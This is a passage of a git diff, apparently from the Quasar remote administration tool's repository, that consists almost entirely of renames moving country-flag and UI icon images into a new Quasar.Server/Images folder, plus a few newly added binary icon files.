Server/flags/io.png rename to Quasar.Server/Images/Flags/io.png diff --git a/Server/flags/iq.png b/Quasar.Server/Images/Flags/iq.png similarity index 100% rename from Server/flags/iq.png rename to Quasar.Server/Images/Flags/iq.png diff --git a/Server/flags/ir.png b/Quasar.Server/Images/Flags/ir.png similarity index 100% rename from Server/flags/ir.png rename to Quasar.Server/Images/Flags/ir.png diff --git a/Server/flags/is.png b/Quasar.Server/Images/Flags/is.png similarity index 100% rename from Server/flags/is.png rename to Quasar.Server/Images/Flags/is.png diff --git a/Server/flags/it.png b/Quasar.Server/Images/Flags/it.png similarity index 100% rename from Server/flags/it.png rename to Quasar.Server/Images/Flags/it.png diff --git a/Server/flags/jm.png b/Quasar.Server/Images/Flags/jm.png similarity index 100% rename from Server/flags/jm.png rename to Quasar.Server/Images/Flags/jm.png diff --git a/Server/flags/jo.png b/Quasar.Server/Images/Flags/jo.png similarity index 100% rename from Server/flags/jo.png rename to Quasar.Server/Images/Flags/jo.png diff --git a/Server/flags/jp.png b/Quasar.Server/Images/Flags/jp.png similarity index 100% rename from Server/flags/jp.png rename to Quasar.Server/Images/Flags/jp.png diff --git a/Server/flags/ke.png b/Quasar.Server/Images/Flags/ke.png similarity index 100% rename from Server/flags/ke.png rename to Quasar.Server/Images/Flags/ke.png diff --git a/Server/flags/kg.png b/Quasar.Server/Images/Flags/kg.png similarity index 100% rename from Server/flags/kg.png rename to Quasar.Server/Images/Flags/kg.png diff --git a/Server/flags/kh.png b/Quasar.Server/Images/Flags/kh.png similarity index 100% rename from Server/flags/kh.png rename to Quasar.Server/Images/Flags/kh.png diff --git a/Server/flags/ki.png b/Quasar.Server/Images/Flags/ki.png similarity index 100% rename from Server/flags/ki.png rename to Quasar.Server/Images/Flags/ki.png diff --git a/Server/flags/km.png b/Quasar.Server/Images/Flags/km.png similarity index 100% rename from Server/flags/km.png rename to Quasar.Server/Images/Flags/km.png diff --git a/Server/flags/kn.png b/Quasar.Server/Images/Flags/kn.png similarity index 100% rename from Server/flags/kn.png rename to Quasar.Server/Images/Flags/kn.png diff --git a/Server/flags/kp.png b/Quasar.Server/Images/Flags/kp.png similarity index 100% rename from Server/flags/kp.png rename to Quasar.Server/Images/Flags/kp.png diff --git a/Server/flags/kr.png b/Quasar.Server/Images/Flags/kr.png similarity index 100% rename from Server/flags/kr.png rename to Quasar.Server/Images/Flags/kr.png diff --git a/Server/flags/kw.png b/Quasar.Server/Images/Flags/kw.png similarity index 100% rename from Server/flags/kw.png rename to Quasar.Server/Images/Flags/kw.png diff --git a/Server/flags/ky.png b/Quasar.Server/Images/Flags/ky.png similarity index 100% rename from Server/flags/ky.png rename to Quasar.Server/Images/Flags/ky.png diff --git a/Server/flags/kz.png b/Quasar.Server/Images/Flags/kz.png similarity index 100% rename from Server/flags/kz.png rename to Quasar.Server/Images/Flags/kz.png diff --git a/Server/flags/la.png b/Quasar.Server/Images/Flags/la.png similarity index 100% rename from Server/flags/la.png rename to Quasar.Server/Images/Flags/la.png diff --git a/Server/flags/lb.png b/Quasar.Server/Images/Flags/lb.png similarity index 100% rename from Server/flags/lb.png rename to Quasar.Server/Images/Flags/lb.png diff --git a/Server/flags/lc.png b/Quasar.Server/Images/Flags/lc.png similarity index 100% rename from Server/flags/lc.png rename to Quasar.Server/Images/Flags/lc.png diff --git a/Server/flags/li.png b/Quasar.Server/Images/Flags/li.png similarity index 100% rename from Server/flags/li.png rename to Quasar.Server/Images/Flags/li.png diff --git a/Server/flags/lk.png b/Quasar.Server/Images/Flags/lk.png similarity index 100% rename from Server/flags/lk.png rename to Quasar.Server/Images/Flags/lk.png diff --git a/Server/flags/lr.png b/Quasar.Server/Images/Flags/lr.png similarity index 100% rename from Server/flags/lr.png rename to Quasar.Server/Images/Flags/lr.png diff --git a/Server/flags/ls.png b/Quasar.Server/Images/Flags/ls.png similarity index 100% rename from Server/flags/ls.png rename to Quasar.Server/Images/Flags/ls.png diff --git a/Server/flags/lt.png b/Quasar.Server/Images/Flags/lt.png similarity index 100% rename from Server/flags/lt.png rename to Quasar.Server/Images/Flags/lt.png diff --git a/Server/flags/lu.png b/Quasar.Server/Images/Flags/lu.png similarity index 100% rename from Server/flags/lu.png rename to Quasar.Server/Images/Flags/lu.png diff --git a/Server/flags/lv.png b/Quasar.Server/Images/Flags/lv.png similarity index 100% rename from Server/flags/lv.png rename to Quasar.Server/Images/Flags/lv.png diff --git a/Server/flags/ly.png b/Quasar.Server/Images/Flags/ly.png similarity index 100% rename from Server/flags/ly.png rename to Quasar.Server/Images/Flags/ly.png diff --git a/Server/flags/ma.png b/Quasar.Server/Images/Flags/ma.png similarity index 100% rename from Server/flags/ma.png rename to Quasar.Server/Images/Flags/ma.png diff --git a/Server/flags/mc.png b/Quasar.Server/Images/Flags/mc.png similarity index 100% rename from Server/flags/mc.png rename to Quasar.Server/Images/Flags/mc.png diff --git a/Server/flags/md.png b/Quasar.Server/Images/Flags/md.png similarity index 100% rename from Server/flags/md.png rename to Quasar.Server/Images/Flags/md.png diff --git a/Server/flags/me.png b/Quasar.Server/Images/Flags/me.png similarity index 100% rename from Server/flags/me.png rename to Quasar.Server/Images/Flags/me.png diff --git a/Server/flags/mg.png b/Quasar.Server/Images/Flags/mg.png similarity index 100% rename from Server/flags/mg.png rename to Quasar.Server/Images/Flags/mg.png diff --git a/Server/flags/mh.png b/Quasar.Server/Images/Flags/mh.png similarity index 100% rename from Server/flags/mh.png rename to Quasar.Server/Images/Flags/mh.png diff --git a/Server/flags/mk.png b/Quasar.Server/Images/Flags/mk.png similarity index 100% rename from Server/flags/mk.png rename to Quasar.Server/Images/Flags/mk.png diff --git a/Server/flags/ml.png b/Quasar.Server/Images/Flags/ml.png similarity index 100% rename from Server/flags/ml.png rename to Quasar.Server/Images/Flags/ml.png diff --git a/Server/flags/mm.png b/Quasar.Server/Images/Flags/mm.png similarity index 100% rename from Server/flags/mm.png rename to Quasar.Server/Images/Flags/mm.png diff --git a/Server/flags/mn.png b/Quasar.Server/Images/Flags/mn.png similarity index 100% rename from Server/flags/mn.png rename to Quasar.Server/Images/Flags/mn.png diff --git a/Server/flags/mo.png b/Quasar.Server/Images/Flags/mo.png similarity index 100% rename from Server/flags/mo.png rename to Quasar.Server/Images/Flags/mo.png diff --git a/Server/flags/mp.png b/Quasar.Server/Images/Flags/mp.png similarity index 100% rename from Server/flags/mp.png rename to Quasar.Server/Images/Flags/mp.png diff --git a/Server/flags/mq.png b/Quasar.Server/Images/Flags/mq.png similarity index 100% rename from Server/flags/mq.png rename to Quasar.Server/Images/Flags/mq.png diff --git a/Server/flags/mr.png b/Quasar.Server/Images/Flags/mr.png similarity index 100% rename from Server/flags/mr.png rename to Quasar.Server/Images/Flags/mr.png diff --git a/Server/flags/ms.png b/Quasar.Server/Images/Flags/ms.png similarity index 100% rename from Server/flags/ms.png rename to Quasar.Server/Images/Flags/ms.png diff --git a/Server/flags/mt.png b/Quasar.Server/Images/Flags/mt.png similarity index 100% rename from Server/flags/mt.png rename to Quasar.Server/Images/Flags/mt.png diff --git a/Server/flags/mu.png b/Quasar.Server/Images/Flags/mu.png similarity index 100% rename from Server/flags/mu.png rename to Quasar.Server/Images/Flags/mu.png diff --git a/Server/flags/mv.png b/Quasar.Server/Images/Flags/mv.png similarity index 100% rename from Server/flags/mv.png rename to Quasar.Server/Images/Flags/mv.png diff --git a/Server/flags/mw.png b/Quasar.Server/Images/Flags/mw.png similarity index 100% rename from Server/flags/mw.png rename to Quasar.Server/Images/Flags/mw.png diff --git a/Server/flags/mx.png b/Quasar.Server/Images/Flags/mx.png similarity index 100% rename from Server/flags/mx.png rename to Quasar.Server/Images/Flags/mx.png diff --git a/Server/flags/my.png b/Quasar.Server/Images/Flags/my.png similarity index 100% rename from Server/flags/my.png rename to Quasar.Server/Images/Flags/my.png diff --git a/Server/flags/mz.png b/Quasar.Server/Images/Flags/mz.png similarity index 100% rename from Server/flags/mz.png rename to Quasar.Server/Images/Flags/mz.png diff --git a/Server/flags/na.png b/Quasar.Server/Images/Flags/na.png similarity index 100% rename from Server/flags/na.png rename to Quasar.Server/Images/Flags/na.png diff --git a/Server/flags/nc.png b/Quasar.Server/Images/Flags/nc.png similarity index 100% rename from Server/flags/nc.png rename to Quasar.Server/Images/Flags/nc.png diff --git a/Server/flags/ne.png b/Quasar.Server/Images/Flags/ne.png similarity index 100% rename from Server/flags/ne.png rename to Quasar.Server/Images/Flags/ne.png diff --git a/Server/flags/nf.png b/Quasar.Server/Images/Flags/nf.png similarity index 100% rename from Server/flags/nf.png rename to Quasar.Server/Images/Flags/nf.png diff --git a/Server/flags/ng.png b/Quasar.Server/Images/Flags/ng.png similarity index 100% rename from Server/flags/ng.png rename to Quasar.Server/Images/Flags/ng.png diff --git a/Server/flags/ni.png b/Quasar.Server/Images/Flags/ni.png similarity index 100% rename from Server/flags/ni.png rename to Quasar.Server/Images/Flags/ni.png diff --git a/Server/flags/nl.png b/Quasar.Server/Images/Flags/nl.png similarity index 100% rename from Server/flags/nl.png rename to Quasar.Server/Images/Flags/nl.png diff --git a/Server/flags/no.png b/Quasar.Server/Images/Flags/no.png similarity index 100% rename from Server/flags/no.png rename to Quasar.Server/Images/Flags/no.png diff --git a/Server/flags/np.png b/Quasar.Server/Images/Flags/np.png similarity index 100% rename from Server/flags/np.png rename to Quasar.Server/Images/Flags/np.png diff --git a/Server/flags/nr.png b/Quasar.Server/Images/Flags/nr.png similarity index 100% rename from Server/flags/nr.png rename to Quasar.Server/Images/Flags/nr.png diff --git a/Server/flags/nu.png b/Quasar.Server/Images/Flags/nu.png similarity index 100% rename from Server/flags/nu.png rename to Quasar.Server/Images/Flags/nu.png diff --git a/Server/flags/nz.png b/Quasar.Server/Images/Flags/nz.png similarity index 100% rename from Server/flags/nz.png rename to Quasar.Server/Images/Flags/nz.png diff --git a/Server/flags/om.png b/Quasar.Server/Images/Flags/om.png similarity index 100% rename from Server/flags/om.png rename to Quasar.Server/Images/Flags/om.png diff --git a/Server/flags/pa.png b/Quasar.Server/Images/Flags/pa.png similarity index 100% rename from Server/flags/pa.png rename to Quasar.Server/Images/Flags/pa.png diff --git a/Server/flags/pe.png b/Quasar.Server/Images/Flags/pe.png similarity index 100% rename from Server/flags/pe.png rename to Quasar.Server/Images/Flags/pe.png diff --git a/Server/flags/pf.png b/Quasar.Server/Images/Flags/pf.png similarity index 100% rename from Server/flags/pf.png rename to Quasar.Server/Images/Flags/pf.png diff --git a/Server/flags/pg.png b/Quasar.Server/Images/Flags/pg.png similarity index 100% rename from Server/flags/pg.png rename to Quasar.Server/Images/Flags/pg.png diff --git a/Server/flags/ph.png b/Quasar.Server/Images/Flags/ph.png similarity index 100% rename from Server/flags/ph.png rename to Quasar.Server/Images/Flags/ph.png diff --git a/Server/flags/pk.png b/Quasar.Server/Images/Flags/pk.png similarity index 100% rename from Server/flags/pk.png rename to Quasar.Server/Images/Flags/pk.png diff --git a/Server/flags/pl.png b/Quasar.Server/Images/Flags/pl.png similarity index 100% rename from Server/flags/pl.png rename to Quasar.Server/Images/Flags/pl.png diff --git a/Server/flags/pm.png b/Quasar.Server/Images/Flags/pm.png similarity index 100% rename from Server/flags/pm.png rename to Quasar.Server/Images/Flags/pm.png diff --git a/Server/flags/pn.png b/Quasar.Server/Images/Flags/pn.png similarity index 100% rename from Server/flags/pn.png rename to Quasar.Server/Images/Flags/pn.png diff --git a/Server/flags/pr.png b/Quasar.Server/Images/Flags/pr.png similarity index 100% rename from Server/flags/pr.png rename to Quasar.Server/Images/Flags/pr.png diff --git a/Server/flags/ps.png b/Quasar.Server/Images/Flags/ps.png similarity index 100% rename from Server/flags/ps.png rename to Quasar.Server/Images/Flags/ps.png diff --git a/Server/flags/pt.png b/Quasar.Server/Images/Flags/pt.png similarity index 100% rename from Server/flags/pt.png rename to Quasar.Server/Images/Flags/pt.png diff --git a/Server/flags/pw.png b/Quasar.Server/Images/Flags/pw.png similarity index 100% rename from Server/flags/pw.png rename to Quasar.Server/Images/Flags/pw.png diff --git a/Server/flags/py.png b/Quasar.Server/Images/Flags/py.png similarity index 100% rename from Server/flags/py.png rename to Quasar.Server/Images/Flags/py.png diff --git a/Server/flags/qa.png b/Quasar.Server/Images/Flags/qa.png similarity index 100% rename from Server/flags/qa.png rename to Quasar.Server/Images/Flags/qa.png diff --git a/Server/flags/re.png b/Quasar.Server/Images/Flags/re.png similarity index 100% rename from Server/flags/re.png rename to Quasar.Server/Images/Flags/re.png diff --git a/Server/flags/ro.png b/Quasar.Server/Images/Flags/ro.png similarity index 100% rename from Server/flags/ro.png rename to Quasar.Server/Images/Flags/ro.png diff --git a/Server/flags/rs.png b/Quasar.Server/Images/Flags/rs.png similarity index 100% rename from Server/flags/rs.png rename to Quasar.Server/Images/Flags/rs.png diff --git a/Server/flags/ru.png b/Quasar.Server/Images/Flags/ru.png similarity index 100% rename from Server/flags/ru.png rename to Quasar.Server/Images/Flags/ru.png diff --git a/Server/flags/rw.png b/Quasar.Server/Images/Flags/rw.png similarity index 100% rename from Server/flags/rw.png rename to Quasar.Server/Images/Flags/rw.png diff --git a/Server/flags/sa.png b/Quasar.Server/Images/Flags/sa.png similarity index 100% rename from Server/flags/sa.png rename to Quasar.Server/Images/Flags/sa.png diff --git a/Server/flags/sb.png b/Quasar.Server/Images/Flags/sb.png similarity index 100% rename from Server/flags/sb.png rename to Quasar.Server/Images/Flags/sb.png diff --git a/Server/flags/sc.png b/Quasar.Server/Images/Flags/sc.png similarity index 100% rename from Server/flags/sc.png rename to Quasar.Server/Images/Flags/sc.png diff --git a/Server/flags/scotland.png b/Quasar.Server/Images/Flags/scotland.png similarity index 100% rename from Server/flags/scotland.png rename to Quasar.Server/Images/Flags/scotland.png diff --git a/Server/flags/sd.png b/Quasar.Server/Images/Flags/sd.png similarity index 100% rename from Server/flags/sd.png rename to Quasar.Server/Images/Flags/sd.png diff --git a/Server/flags/se.png b/Quasar.Server/Images/Flags/se.png similarity index 100% rename from Server/flags/se.png rename to Quasar.Server/Images/Flags/se.png diff --git a/Server/flags/sg.png b/Quasar.Server/Images/Flags/sg.png similarity index 100% rename from Server/flags/sg.png rename to Quasar.Server/Images/Flags/sg.png diff --git a/Server/flags/sh.png b/Quasar.Server/Images/Flags/sh.png similarity index 100% rename from Server/flags/sh.png rename to Quasar.Server/Images/Flags/sh.png diff --git a/Server/flags/si.png b/Quasar.Server/Images/Flags/si.png similarity index 100% rename from Server/flags/si.png rename to Quasar.Server/Images/Flags/si.png diff --git a/Server/flags/sj.png b/Quasar.Server/Images/Flags/sj.png similarity index 100% rename from Server/flags/sj.png rename to Quasar.Server/Images/Flags/sj.png diff --git a/Server/flags/sk.png b/Quasar.Server/Images/Flags/sk.png similarity index 100% rename from Server/flags/sk.png rename to Quasar.Server/Images/Flags/sk.png diff --git a/Server/flags/sl.png b/Quasar.Server/Images/Flags/sl.png similarity index 100% rename from Server/flags/sl.png rename to Quasar.Server/Images/Flags/sl.png diff --git a/Server/flags/sm.png b/Quasar.Server/Images/Flags/sm.png similarity index 100% rename from Server/flags/sm.png rename to Quasar.Server/Images/Flags/sm.png diff --git a/Server/flags/sn.png b/Quasar.Server/Images/Flags/sn.png similarity index 100% rename from Server/flags/sn.png rename to Quasar.Server/Images/Flags/sn.png diff --git a/Server/flags/so.png b/Quasar.Server/Images/Flags/so.png similarity index 100% rename from Server/flags/so.png rename to Quasar.Server/Images/Flags/so.png diff --git a/Server/flags/sr.png b/Quasar.Server/Images/Flags/sr.png similarity index 100% rename from Server/flags/sr.png rename to Quasar.Server/Images/Flags/sr.png diff --git a/Server/flags/st.png b/Quasar.Server/Images/Flags/st.png similarity index 100% rename from Server/flags/st.png rename to Quasar.Server/Images/Flags/st.png diff --git a/Server/flags/sv.png b/Quasar.Server/Images/Flags/sv.png similarity index 100% rename from Server/flags/sv.png rename to Quasar.Server/Images/Flags/sv.png diff --git a/Server/flags/sy.png b/Quasar.Server/Images/Flags/sy.png similarity index 100% rename from Server/flags/sy.png rename to Quasar.Server/Images/Flags/sy.png diff --git a/Server/flags/sz.png b/Quasar.Server/Images/Flags/sz.png similarity index 100% rename from Server/flags/sz.png rename to Quasar.Server/Images/Flags/sz.png diff --git a/Server/flags/tc.png b/Quasar.Server/Images/Flags/tc.png similarity index 100% rename from Server/flags/tc.png rename to Quasar.Server/Images/Flags/tc.png diff --git a/Server/flags/td.png b/Quasar.Server/Images/Flags/td.png similarity index 100% rename from Server/flags/td.png rename to Quasar.Server/Images/Flags/td.png diff --git a/Server/flags/tf.png b/Quasar.Server/Images/Flags/tf.png similarity index 100% rename from Server/flags/tf.png rename to Quasar.Server/Images/Flags/tf.png diff --git a/Server/flags/tg.png b/Quasar.Server/Images/Flags/tg.png similarity index 100% rename from Server/flags/tg.png rename to Quasar.Server/Images/Flags/tg.png diff --git a/Server/flags/th.png b/Quasar.Server/Images/Flags/th.png similarity index 100% rename from Server/flags/th.png rename to Quasar.Server/Images/Flags/th.png diff --git a/Server/flags/tj.png b/Quasar.Server/Images/Flags/tj.png similarity index 100% rename from Server/flags/tj.png rename to Quasar.Server/Images/Flags/tj.png diff --git a/Server/flags/tk.png b/Quasar.Server/Images/Flags/tk.png similarity index 100% rename from Server/flags/tk.png rename to Quasar.Server/Images/Flags/tk.png diff --git a/Server/flags/tl.png b/Quasar.Server/Images/Flags/tl.png similarity index 100% rename from Server/flags/tl.png rename to Quasar.Server/Images/Flags/tl.png diff --git a/Server/flags/tm.png b/Quasar.Server/Images/Flags/tm.png similarity index 100% rename from Server/flags/tm.png rename to Quasar.Server/Images/Flags/tm.png diff --git a/Server/flags/tn.png b/Quasar.Server/Images/Flags/tn.png similarity index 100% rename from Server/flags/tn.png rename to Quasar.Server/Images/Flags/tn.png diff --git a/Server/flags/to.png b/Quasar.Server/Images/Flags/to.png similarity index 100% rename from Server/flags/to.png rename to Quasar.Server/Images/Flags/to.png diff --git a/Server/flags/tr.png b/Quasar.Server/Images/Flags/tr.png similarity index 100% rename from Server/flags/tr.png rename to Quasar.Server/Images/Flags/tr.png diff --git a/Server/flags/tt.png b/Quasar.Server/Images/Flags/tt.png similarity index 100% rename from Server/flags/tt.png rename to Quasar.Server/Images/Flags/tt.png diff --git a/Server/flags/tv.png b/Quasar.Server/Images/Flags/tv.png similarity index 100% rename from Server/flags/tv.png rename to Quasar.Server/Images/Flags/tv.png diff --git a/Server/flags/tw.png b/Quasar.Server/Images/Flags/tw.png similarity index 100% rename from Server/flags/tw.png rename to Quasar.Server/Images/Flags/tw.png diff --git a/Server/flags/tz.png b/Quasar.Server/Images/Flags/tz.png similarity index 100% rename from Server/flags/tz.png rename to Quasar.Server/Images/Flags/tz.png diff --git a/Server/flags/ua.png b/Quasar.Server/Images/Flags/ua.png similarity index 100% rename from Server/flags/ua.png rename to Quasar.Server/Images/Flags/ua.png diff --git a/Server/flags/ug.png b/Quasar.Server/Images/Flags/ug.png similarity index 100% rename from Server/flags/ug.png rename to Quasar.Server/Images/Flags/ug.png diff --git a/Server/flags/um.png b/Quasar.Server/Images/Flags/um.png similarity index 100% rename from Server/flags/um.png rename to Quasar.Server/Images/Flags/um.png diff --git a/Server/flags/us.png b/Quasar.Server/Images/Flags/us.png similarity index 100% rename from Server/flags/us.png rename to Quasar.Server/Images/Flags/us.png diff --git a/Server/flags/uy.png b/Quasar.Server/Images/Flags/uy.png similarity index 100% rename from Server/flags/uy.png rename to Quasar.Server/Images/Flags/uy.png diff --git a/Server/flags/uz.png b/Quasar.Server/Images/Flags/uz.png similarity index 100% rename from Server/flags/uz.png rename to Quasar.Server/Images/Flags/uz.png diff --git a/Server/flags/va.png b/Quasar.Server/Images/Flags/va.png similarity index 100% rename from Server/flags/va.png rename to Quasar.Server/Images/Flags/va.png diff --git a/Server/flags/vc.png b/Quasar.Server/Images/Flags/vc.png similarity index 100% rename from Server/flags/vc.png rename to Quasar.Server/Images/Flags/vc.png diff --git a/Server/flags/ve.png b/Quasar.Server/Images/Flags/ve.png similarity index 100% rename from Server/flags/ve.png rename to Quasar.Server/Images/Flags/ve.png diff --git a/Server/flags/vg.png b/Quasar.Server/Images/Flags/vg.png similarity index 100% rename from Server/flags/vg.png rename to Quasar.Server/Images/Flags/vg.png diff --git a/Server/flags/vi.png b/Quasar.Server/Images/Flags/vi.png similarity index 100% rename from Server/flags/vi.png rename to Quasar.Server/Images/Flags/vi.png diff --git a/Server/flags/vn.png b/Quasar.Server/Images/Flags/vn.png similarity index 100% rename from Server/flags/vn.png rename to Quasar.Server/Images/Flags/vn.png diff --git a/Server/flags/vu.png b/Quasar.Server/Images/Flags/vu.png similarity index 100% rename from Server/flags/vu.png rename to Quasar.Server/Images/Flags/vu.png diff --git a/Server/flags/wales.png b/Quasar.Server/Images/Flags/wales.png similarity index 100% rename from Server/flags/wales.png rename to Quasar.Server/Images/Flags/wales.png diff --git a/Server/flags/wf.png b/Quasar.Server/Images/Flags/wf.png similarity index 100% rename from Server/flags/wf.png rename to Quasar.Server/Images/Flags/wf.png diff --git a/Server/flags/ws.png b/Quasar.Server/Images/Flags/ws.png similarity index 100% rename from Server/flags/ws.png rename to Quasar.Server/Images/Flags/ws.png diff --git a/Server/flags/xy.png b/Quasar.Server/Images/Flags/xy.png similarity index 100% rename from Server/flags/xy.png rename to Quasar.Server/Images/Flags/xy.png diff --git a/Server/flags/ye.png b/Quasar.Server/Images/Flags/ye.png similarity index 100% rename from Server/flags/ye.png rename to Quasar.Server/Images/Flags/ye.png diff --git a/Server/flags/yt.png b/Quasar.Server/Images/Flags/yt.png similarity index 100% rename from Server/flags/yt.png rename to Quasar.Server/Images/Flags/yt.png diff --git a/Server/flags/za.png b/Quasar.Server/Images/Flags/za.png similarity index 100% rename from Server/flags/za.png rename to Quasar.Server/Images/Flags/za.png diff --git a/Server/flags/zm.png b/Quasar.Server/Images/Flags/zm.png similarity index 100% rename from Server/flags/zm.png rename to Quasar.Server/Images/Flags/zm.png diff --git a/Server/flags/zw.png b/Quasar.Server/Images/Flags/zw.png similarity index 100% rename from Server/flags/zw.png rename to Quasar.Server/Images/Flags/zw.png diff --git a/Server/Quasar_Server.ico b/Quasar.Server/Images/Icons/Quasar_Server.ico similarity index 100% rename from Server/Quasar_Server.ico rename to Quasar.Server/Images/Icons/Quasar_Server.ico diff --git a/Server/icons/Quasar_Server.png b/Quasar.Server/Images/Icons/Quasar_Server.png similarity index 100% rename from Server/icons/Quasar_Server.png rename to Quasar.Server/Images/Icons/Quasar_Server.png diff --git a/Server/Resources/actions.png b/Quasar.Server/Images/actions.png similarity index 100% rename from Server/Resources/actions.png rename to Quasar.Server/Images/actions.png diff --git a/Server/images/application.png b/Quasar.Server/Images/application.png similarity index 100% rename from Server/images/application.png rename to Quasar.Server/Images/application.png diff --git a/Server/images/application_add.png b/Quasar.Server/Images/application_add.png similarity index 100% rename from Server/images/application_add.png rename to Quasar.Server/Images/application_add.png diff --git a/Server/images/startup_programs.png b/Quasar.Server/Images/application_cascade.png similarity index 100% rename from Server/images/startup_programs.png rename to Quasar.Server/Images/application_cascade.png diff --git a/Server/images/application_delete.png b/Quasar.Server/Images/application_delete.png similarity index 100% rename from Server/images/application_delete.png rename to Quasar.Server/Images/application_delete.png diff --git a/Quasar.Server/Images/application_edit.png b/Quasar.Server/Images/application_edit.png new file mode 100644 index 000000000..fb2efb877 Binary files /dev/null and b/Quasar.Server/Images/application_edit.png differ diff --git a/Quasar.Server/Images/application_go.png b/Quasar.Server/Images/application_go.png new file mode 100644 index 000000000..5cc2b0dd3 Binary files /dev/null and b/Quasar.Server/Images/application_go.png differ diff --git a/Server/images/archive.png b/Quasar.Server/Images/archive.png similarity index 100% rename from Server/images/archive.png rename to Quasar.Server/Images/archive.png diff --git a/Quasar.Server/Images/arrow_down.png b/Quasar.Server/Images/arrow_down.png new file mode 100644 index 000000000..2c4e27937 Binary files /dev/null and b/Quasar.Server/Images/arrow_down.png differ diff --git a/Quasar.Server/Images/arrow_up.png b/Quasar.Server/Images/arrow_up.png new file mode 100644 index 000000000..1ebb19324 Binary files /dev/null and b/Quasar.Server/Images/arrow_up.png differ diff --git a/Server/images/back.png b/Quasar.Server/Images/back.png similarity index 100% rename from Server/images/back.png rename to Quasar.Server/Images/back.png diff --git a/Server/images/bricks.png b/Quasar.Server/Images/bricks.png similarity index 100% rename from Server/images/bricks.png rename to Quasar.Server/Images/bricks.png diff --git a/Server/images/broom.png b/Quasar.Server/Images/broom.png similarity index 100% rename from Server/images/broom.png rename to Quasar.Server/Images/broom.png diff --git a/Server/images/cancel.png b/Quasar.Server/Images/cancel.png similarity index 100% rename from Server/images/cancel.png rename to Quasar.Server/Images/cancel.png diff --git a/Quasar.Server/Images/cog.png b/Quasar.Server/Images/cog.png new file mode 100644 index 000000000..67de2c6cc Binary files /dev/null and b/Quasar.Server/Images/cog.png differ diff --git a/Server/images/computer.png b/Quasar.Server/Images/computer.png similarity index 100% rename from Server/images/computer.png rename to Quasar.Server/Images/computer.png diff --git a/Server/Resources/delete.png b/Quasar.Server/Images/delete.png similarity index 100% rename from Server/Resources/delete.png rename to Quasar.Server/Images/delete.png diff --git a/Server/images/done.png b/Quasar.Server/Images/done.png similarity index 100% rename from Server/images/done.png rename to Quasar.Server/Images/done.png diff --git a/Server/images/drive_go.png b/Quasar.Server/Images/drive_go.png similarity index 100% rename from Server/images/drive_go.png rename to Quasar.Server/Images/drive_go.png diff --git a/Server/images/eye.png b/Quasar.Server/Images/eye.png similarity index 100% rename from Server/images/eye.png rename to Quasar.Server/Images/eye.png diff --git a/Server/images/file.png b/Quasar.Server/Images/file.png similarity index 100% rename from Server/images/file.png rename to Quasar.Server/Images/file.png diff --git a/Server/images/folder.png b/Quasar.Server/Images/folder.png similarity index 100% rename from Server/images/folder.png rename to Quasar.Server/Images/folder.png diff --git a/Server/images/image.png b/Quasar.Server/Images/image.png similarity index 100% rename from Server/images/image.png rename to Quasar.Server/Images/image.png diff --git a/Server/images/information.png b/Quasar.Server/Images/information.png similarity index 100% rename from Server/images/information.png rename to Quasar.Server/Images/information.png diff --git a/Server/images/key_go.png b/Quasar.Server/Images/key_go.png similarity index 100% rename from Server/images/key_go.png rename to Quasar.Server/Images/key_go.png diff --git a/Server/images/keyboard_add.png b/Quasar.Server/Images/keyboard_add.png similarity index 100% rename from Server/images/keyboard_add.png rename to Quasar.Server/Images/keyboard_add.png diff --git a/Server/images/keyboard_delete.png b/Quasar.Server/Images/keyboard_delete.png similarity index 100% rename from Server/images/keyboard_delete.png rename to Quasar.Server/Images/keyboard_delete.png diff --git a/Server/images/logger.png b/Quasar.Server/Images/keyboard_magnify.png similarity index 100% rename from Server/images/logger.png rename to Quasar.Server/Images/keyboard_magnify.png diff --git a/Server/images/lightning.png b/Quasar.Server/Images/lightning.png similarity index 100% rename from Server/images/lightning.png rename to Quasar.Server/Images/lightning.png diff --git a/Server/images/monitor.png b/Quasar.Server/Images/monitor.png similarity index 100% rename from Server/images/monitor.png rename to Quasar.Server/Images/monitor.png diff --git a/Server/images/task-manager.png b/Quasar.Server/Images/monitoring.png similarity index 100% rename from Server/images/task-manager.png rename to Quasar.Server/Images/monitoring.png diff --git a/Server/images/mouse_add.png b/Quasar.Server/Images/mouse_add.png similarity index 100% rename from Server/images/mouse_add.png rename to Quasar.Server/Images/mouse_add.png diff --git a/Server/images/mouse_delete.png b/Quasar.Server/Images/mouse_delete.png similarity index 100% rename from Server/images/mouse_delete.png rename to Quasar.Server/Images/mouse_delete.png diff --git a/Server/images/movie.png b/Quasar.Server/Images/movie.png similarity index 100% rename from Server/images/movie.png rename to Quasar.Server/Images/movie.png diff --git a/Server/images/music.png b/Quasar.Server/Images/music.png similarity index 100% rename from Server/images/music.png rename to Quasar.Server/Images/music.png diff --git a/Quasar.Server/Images/page_copy.png b/Quasar.Server/Images/page_copy.png new file mode 100644 index 000000000..195dc6d6c Binary files /dev/null and b/Quasar.Server/Images/page_copy.png differ diff --git a/Server/images/pdf.png b/Quasar.Server/Images/pdf.png similarity index 100% rename from Server/images/pdf.png rename to Quasar.Server/Images/pdf.png diff --git a/Server/images/refresh.png b/Quasar.Server/Images/refresh.png similarity index 100% rename from Server/images/refresh.png rename to Quasar.Server/Images/refresh.png diff --git a/Server/images/reg_binary.png b/Quasar.Server/Images/reg_binary.png similarity index 100% rename from Server/images/reg_binary.png rename to Quasar.Server/Images/reg_binary.png diff --git a/Server/images/reg_string.png b/Quasar.Server/Images/reg_string.png similarity index 100% rename from Server/images/reg_string.png rename to Quasar.Server/Images/reg_string.png diff --git a/Server/images/registry.png b/Quasar.Server/Images/registry.png similarity index 100% rename from Server/images/registry.png rename to Quasar.Server/Images/registry.png diff --git a/Server/Resources/restart.png b/Quasar.Server/Images/restart.png similarity index 100% rename from Server/Resources/restart.png rename to Quasar.Server/Images/restart.png diff --git a/Server/images/save.png b/Quasar.Server/Images/save.png similarity index 100% rename from Server/images/save.png rename to Quasar.Server/Images/save.png diff --git a/Server/images/server.png b/Quasar.Server/Images/server.png similarity index 100% rename from Server/images/server.png rename to Quasar.Server/Images/server.png diff --git a/Server/images/server-add.png b/Quasar.Server/Images/server_add.png similarity index 100% rename from Server/images/server-add.png rename to Quasar.Server/Images/server_add.png diff --git a/Server/images/server-uninstall.png b/Quasar.Server/Images/server_delete.png similarity index 100% rename from Server/images/server-uninstall.png rename to Quasar.Server/Images/server_delete.png diff --git a/Server/images/server-disconnect.png b/Quasar.Server/Images/server_disconnect.png similarity index 100% rename from Server/images/server-disconnect.png rename to Quasar.Server/Images/server_disconnect.png diff --git a/Server/images/server-reconnect.png b/Quasar.Server/Images/server_go.png similarity index 100% rename from Server/images/server-reconnect.png rename to Quasar.Server/Images/server_go.png diff --git 